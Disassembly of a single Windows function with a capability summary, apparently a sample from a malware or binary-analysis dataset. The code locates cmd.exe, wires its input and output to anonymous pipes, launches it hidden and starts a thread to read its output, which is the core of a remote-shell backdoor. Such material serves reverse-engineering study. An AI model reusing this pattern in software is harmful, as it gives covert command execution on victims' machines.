Function at 0x40ab8e
Capabilities:
Check if file exists
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create thread
Create two anonymous pipes
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x1b0
call sym._Close_Handles
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call eax
sub esp, 8
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x10c]
add eax, edx
mov dword [eax], 0x646d635c
mov dword [eax + 4], 0x6578652e
mov byte [eax + 8], 0
lea eax, [ebp - 0x10c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
cmp eax, 0xffffffff
jne 0x40ac60
mov dword [esp + 4], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call eax
sub esp, 8
lea eax, [ebp - 0x10c]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x10c]
add eax, edx
mov dword [eax], 0x646d635c
mov dword [eax + 4], 0x6578652e
mov byte [eax + 8], 0
lea eax, [ebp - 0x10c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
cmp eax, 0xffffffff
jne 0x40ac60
mov eax, 0xffffffff
jmp 0x40aecf
mov dword [ebp - 0x118], 0xc
mov dword [ebp - 0x110], 1
mov dword [ebp - 0x114], 0
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x118]
mov dword [esp + 8], eax
lea eax, [ebp - 0x174]
mov dword [esp + 4], eax
lea eax, [ebp - 0x170]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreatePipe]
call eax
sub esp, 0x10
test eax, eax
jne 0x40acbb
mov eax, 0xffffffff
jmp 0x40aecf
mov dword [esp + 0xc], 0
lea eax, [ebp - 0x118]
mov dword [esp + 8], eax
lea eax, [ebp - 0x17c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x178]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreatePipe]
call eax
sub esp, 0x10
test eax, eax
jne 0x40acf8
mov eax, 0xffffffff
jmp 0x40aecf
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov ebx, eax
mov esi, dword [ebp - 0x17c]
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call eax
mov dword [esp + 0x18], 3
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x45fd1c
mov dword [esp + 8], ebx
mov dword [esp + 4], esi
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_DuplicateHandle]
call eax
sub esp, 0x1c
test eax, eax
jne 0x40ad51
mov eax, 0xffffffff
jmp 0x40aecf
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x15c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x15c], 0x44
mov dword [ebp - 0x130], 0x101
mov word [ebp - 0x12c], 0
mov eax, dword [ebp - 0x178]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x120], eax
lea eax, [ebp - 0x16c]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x15c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4215f0
lea eax, [ebp - 0x10c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
jne 0x40ae11
mov eax, 0xffffffff
jmp 0x40aecf
mov eax, dword [ebp - 0x178]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x170]
mov dword [0x45fd10], eax
mov eax, dword [ebp - 0x17c]
mov dword [0x45fd14], eax
mov eax, dword [ebp - 0x16c]
mov dword [0x45fd18], eax
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [0x45fd20], eax
cmp dword [ebp + 0xc], 0
je 0x40ae7b
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov dword [esp], 0x45fd40
call sym._sprintf
jmp 0x40ae8f
mov dword [esp + 4], 0x42449c
mov dword [esp], 0x45fd40
call sym._sprintf
lea eax, [ebp - 0x180]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], sym._PipeReadThread_4
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov eax, 0
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret